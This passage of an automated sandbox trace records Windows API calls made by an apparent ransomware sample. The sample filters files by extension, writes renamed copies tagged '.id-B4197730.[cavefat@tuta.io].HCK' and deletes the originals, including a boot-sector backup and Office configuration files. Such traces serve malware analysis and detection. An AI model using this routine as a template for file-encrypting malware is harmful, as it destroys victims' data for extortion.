32 [0149.959] lstrlenW (lpString=".dbf") returned 4 [0149.959] lstrcmpiW (lpString1=".dbf", lpString2=".p7b") returned -1 [0149.959] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0149.959] lstrlenW (lpString=".1cd") returned 4 [0149.959] lstrcmpiW (lpString1=".1cd", lpString2=".p7b") returned -1 [0149.959] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0149.959] lstrlenW (lpString=".jpg") returned 4 [0149.959] lstrcmpiW (lpString1=".jpg", lpString2=".p7b") returned -1 [0149.959] lstrcmpiW (lpString1=".BAK", lpString2=".HCK") returned -1 [0149.959] lstrlenW (lpString="BOOTSECT.BAK") returned 12 [0149.959] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0149.959] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=8192) returned 1 [0149.959] CloseHandle (hObject=0x2e8) returned 1 [0149.960] GetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 0x27 [0149.960] GetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\bootsect.bak.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0149.960] SetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK", dwFileAttributes=0x26) returned 1 [0149.960] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0149.960] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.960] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.960] CreateFileW (lpFileName="C:\\BOOTSECT.BAK.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\bootsect.bak.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0149.961] GetLastError () returned 0x0 [0149.961] ReadFile (in: hFile=0x2e8, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x2000, lpOverlapped=0x0) returned 1 [0149.962] WriteFile (in: hFile=0x2f0, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x2010, lpOverlapped=0x0) returned 1 [0149.964] ReadFile (in: hFile=0x2e8, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0149.964] WriteFile (in: hFile=0x2f0, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0149.964] SetEndOfFile (hFile=0x2f0) returned 1 [0149.964] CloseHandle (hObject=0x2f0) returned 1 [0149.965] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.965] SetEndOfFile (hFile=0x2e8) returned 1 [0149.966] CloseHandle (hObject=0x2e8) returned 1 [0149.966] SetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x27) returned 1 [0149.966] DeleteFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 1 [0149.967] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0149.967] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0149.967] lstrlenW (lpString=".doc") returned 4 [0149.967] lstrcmpiW (lpString1=".doc", lpString2=".BAK") returned 1 [0149.967] lstrlenW (lpString=".docx") returned 5 [0149.967] lstrcmpiW (lpString1=".docx", lpString2="T.BAK") returned -1 [0149.967] lstrlenW (lpString=".pdf") returned 4 [0149.967] lstrcmpiW (lpString1=".pdf", lpString2=".BAK") returned 1 [0149.967] lstrlenW (lpString=".xls") returned 4 [0149.967] lstrcmpiW (lpString1=".xls", lpString2=".BAK") returned 1 [0149.967] lstrlenW (lpString=".xlsx") returned 5 [0149.967] lstrcmpiW (lpString1=".xlsx", lpString2="T.BAK") returned -1 [0149.967] lstrlenW (lpString=".ppt") returned 4 [0149.967] lstrcmpiW (lpString1=".ppt", lpString2=".BAK") returned 1 [0149.967] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0149.967] lstrlenW (lpString=".zip") returned 4 [0149.967] lstrcmpiW (lpString1=".zip", lpString2=".BAK") returned 1 [0149.967] lstrlenW (lpString=".rar") returned 4 [0149.967] lstrcmpiW (lpString1=".rar", lpString2=".BAK") returned 1 [0149.967] lstrlenW (lpString=".bz2") returned 4 [0149.967] lstrcmpiW (lpString1=".bz2", lpString2=".BAK") returned 1 [0149.967] lstrlenW (lpString=".7z") returned 3 [0149.967] lstrcmpiW (lpString1=".7z", lpString2="BAK") returned -1 [0149.967] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0149.967] lstrlenW (lpString=".dbf") returned 4 [0149.967] lstrcmpiW (lpString1=".dbf", lpString2=".BAK") returned 1 [0149.967] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0149.967] lstrlenW (lpString=".1cd") returned 4 [0149.967] lstrcmpiW (lpString1=".1cd", lpString2=".BAK") returned -1 [0149.967] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0149.967] lstrlenW (lpString=".jpg") returned 4 [0149.967] lstrcmpiW (lpString1=".jpg", lpString2=".BAK") returned 1 [0149.967] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0149.967] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0149.967] lstrlenW (lpString=".doc") returned 4 [0149.967] lstrcmpiW (lpString1=".doc", lpString2=".BAK") returned 1 [0149.967] lstrlenW (lpString=".docx") returned 5 [0149.968] lstrcmpiW (lpString1=".docx", lpString2="T.BAK") returned -1 [0149.968] lstrlenW (lpString=".pdf") returned 4 [0149.968] lstrcmpiW (lpString1=".pdf", lpString2=".BAK") returned 1 [0149.968] lstrlenW (lpString=".xls") returned 4 [0149.968] lstrcmpiW (lpString1=".xls", lpString2=".BAK") returned 1 [0149.968] lstrlenW (lpString=".xlsx") returned 5 [0149.968] lstrcmpiW (lpString1=".xlsx", lpString2="T.BAK") returned -1 [0149.968] lstrlenW (lpString=".ppt") returned 4 [0149.968] lstrcmpiW (lpString1=".ppt", lpString2=".BAK") returned 1 [0149.968] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0149.968] lstrlenW (lpString=".zip") returned 4 [0149.968] lstrcmpiW (lpString1=".zip", lpString2=".BAK") returned 1 [0149.968] lstrlenW (lpString=".rar") returned 4 [0149.968] lstrcmpiW (lpString1=".rar", lpString2=".BAK") returned 1 [0149.968] lstrlenW (lpString=".bz2") returned 4 [0149.968] lstrcmpiW (lpString1=".bz2", lpString2=".BAK") returned 1 [0149.968] lstrlenW (lpString=".7z") returned 3 [0149.968] lstrcmpiW (lpString1=".7z", lpString2="BAK") returned -1 [0149.968] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0149.968] lstrlenW (lpString=".dbf") returned 4 [0149.968] lstrcmpiW (lpString1=".dbf", lpString2=".BAK") returned 1 [0149.968] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0149.968] lstrlenW (lpString=".1cd") returned 4 [0149.968] lstrcmpiW (lpString1=".1cd", lpString2=".BAK") returned -1 [0149.968] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0149.968] lstrlenW (lpString=".jpg") returned 4 [0149.968] lstrcmpiW (lpString1=".jpg", lpString2=".BAK") returned 1 [0149.968] lstrcmpiW (lpString1=".xml", lpString2=".HCK") returned 1 [0149.968] lstrlenW (lpString="C2RHeartbeatConfig.xml") returned 22 [0149.968] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0149.968] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=4136) returned 1 [0149.969] CloseHandle (hObject=0x2e8) returned 1 [0149.969] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml")) returned 0x20 [0149.969] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0149.969] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0149.969] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.969] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.969] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0149.971] GetLastError () returned 0x0 [0149.971] ReadFile (in: hFile=0x2e8, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x1028, lpOverlapped=0x0) returned 1 [0149.972] WriteFile (in: hFile=0x2f0, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x1030, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x1030, lpOverlapped=0x0) returned 1 [0149.973] ReadFile (in: hFile=0x2e8, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0149.973] WriteFile (in: hFile=0x2f0, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x100, lpOverlapped=0x0) returned 1 [0149.973] SetEndOfFile (hFile=0x2f0) returned 1 [0149.974] CloseHandle (hObject=0x2f0) returned 1 [0149.975] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.975] SetEndOfFile (hFile=0x2e8) returned 1 [0149.975] CloseHandle (hObject=0x2e8) returned 1 [0149.975] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0149.976] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml")) returned 1 [0149.976] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0149.976] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0149.976] lstrlenW (lpString=".doc") returned 4 [0149.976] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0149.976] lstrlenW (lpString=".docx") returned 5 [0149.976] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0149.976] lstrlenW (lpString=".pdf") returned 4 [0149.976] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0149.976] lstrlenW (lpString=".xls") returned 4 [0149.976] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0149.976] lstrlenW (lpString=".xlsx") returned 5 [0149.976] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0149.976] lstrlenW (lpString=".ppt") returned 4 [0149.976] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0149.976] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0149.976] lstrlenW (lpString=".zip") returned 4 [0149.976] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0149.976] lstrlenW (lpString=".rar") returned 4 [0149.976] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0149.976] lstrlenW (lpString=".bz2") returned 4 [0149.976] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0149.976] lstrlenW (lpString=".7z") returned 3 [0149.976] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0149.976] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0149.976] lstrlenW (lpString=".dbf") returned 4 [0149.977] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0149.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0149.977] lstrlenW (lpString=".1cd") returned 4 [0149.977] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0149.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0149.977] lstrlenW (lpString=".jpg") returned 4 [0149.977] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0149.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0149.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0149.977] lstrlenW (lpString=".doc") returned 4 [0149.977] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0149.977] lstrlenW (lpString=".docx") returned 5 [0149.977] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0149.977] lstrlenW (lpString=".pdf") returned 4 [0149.977] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0149.977] lstrlenW (lpString=".xls") returned 4 [0149.977] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0149.977] lstrlenW (lpString=".xlsx") returned 5 [0149.977] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0149.977] lstrlenW (lpString=".ppt") returned 4 [0149.977] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0149.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0149.977] lstrlenW (lpString=".zip") returned 4 [0149.977] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0149.977] lstrlenW (lpString=".rar") returned 4 [0149.977] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0149.977] lstrlenW (lpString=".bz2") returned 4 [0149.977] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0149.977] lstrlenW (lpString=".7z") returned 3 [0149.977] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0149.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0149.977] lstrlenW (lpString=".dbf") returned 4 [0149.977] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0149.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0149.977] lstrlenW (lpString=".1cd") returned 4 [0149.977] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0149.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0149.977] lstrlenW (lpString=".jpg") returned 4 [0149.977] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0149.977] lstrcmpiW (lpString1=".xml", lpString2=".HCK") returned 1 [0149.978] lstrlenW (lpString="OfficeUpdateSchedule.xml") returned 24 [0149.978] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0149.979] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=4782) returned 1 [0149.979] CloseHandle (hObject=0x2e8) returned 1 [0149.979] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml")) returned 0x20 [0149.979] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0149.979] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0149.979] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.979] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.979] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0149.980] GetLastError () returned 0x0 [0149.980] ReadFile (in: hFile=0x2e8, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x12ae, lpOverlapped=0x0) returned 1 [0150.400] WriteFile (in: hFile=0x2f0, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x12b0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x12b0, lpOverlapped=0x0) returned 1 [0150.447] ReadFile (in: hFile=0x2e8, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0150.447] WriteFile (in: hFile=0x2f0, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x104, lpOverlapped=0x0) returned 1 [0150.447] SetEndOfFile (hFile=0x2f0) returned 1 [0150.447] CloseHandle (hObject=0x2f0) returned 1 [0150.448] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.448] SetEndOfFile (hFile=0x2e8) returned 1 [0150.449] CloseHandle (hObject=0x2e8) returned 1 [0150.449] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0150.449] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml")) returned 1 [0150.449] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0150.449] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0150.449] lstrlenW (lpString=".doc") returned 4 [0150.449] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0150.449] lstrlenW (lpString=".docx") returned 5 [0150.449] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0150.449] lstrlenW (lpString=".pdf") returned 4 [0150.449] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0150.449] lstrlenW (lpString=".xls") returned 4 [0150.449] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0150.449] lstrlenW (lpString=".xlsx") returned 5 [0150.449] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0150.449] lstrlenW (lpString=".ppt") returned 4 [0150.449] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0150.449] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0150.449] lstrlenW (lpString=".zip") returned 4 [0150.450] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0150.450] lstrlenW (lpString=".rar") returned 4 [0150.450] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0150.450] lstrlenW (lpString=".bz2") returned 4 [0150.450] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0150.450] lstrlenW (lpString=".7z") returned 3 [0150.450] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0150.450] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0150.450] lstrlenW (lpString=".dbf") returned 4 [0150.450] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0150.450] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0150.450] lstrlenW (lpString=".1cd") returned 4 [0150.450] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0150.450] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0150.450] lstrlenW (lpString=".jpg") returned 4 [0150.450] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0150.450] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0150.450] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0150.450] lstrlenW (lpString=".doc") returned 4 [0150.450] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0150.450] lstrlenW (lpString=".docx") returned 5 [0150.450] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0150.450] lstrlenW (lpString=".pdf") returned 4 [0150.450] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0150.450] lstrlenW (lpString=".xls") returned 4 [0150.450] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0150.450] lstrlenW (lpString=".xlsx") returned 5 [0150.450] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0150.450] lstrlenW (lpString=".ppt") returned 4 [0150.450] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0150.450] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0150.450] lstrlenW (lpString=".zip") returned 4 [0150.450] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0150.450] lstrlenW (lpString=".rar") returned 4 [0150.450] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0150.450] lstrlenW (lpString=".bz2") returned 4 [0150.450] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0150.450] lstrlenW (lpString=".7z") returned 3 [0150.450] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0150.450] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0150.450] lstrlenW (lpString=".dbf") returned 4 [0150.450] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0150.450] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0150.450] lstrlenW (lpString=".1cd") returned 4 [0150.450] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0150.450] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0150.450] lstrlenW (lpString=".jpg") returned 4 [0150.450] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0150.451] lstrcmpiW (lpString1=".txt", lpString2=".HCK") returned 1 [0150.451] lstrlenW (lpString="THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 34 [0150.451] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0150.451] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=63933) returned 1 [0150.451] CloseHandle (hObject=0x2e8) returned 1 [0150.451] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt")) returned 0x20 [0150.452] GetFileAttributesW (lpFileName="C:\\Program 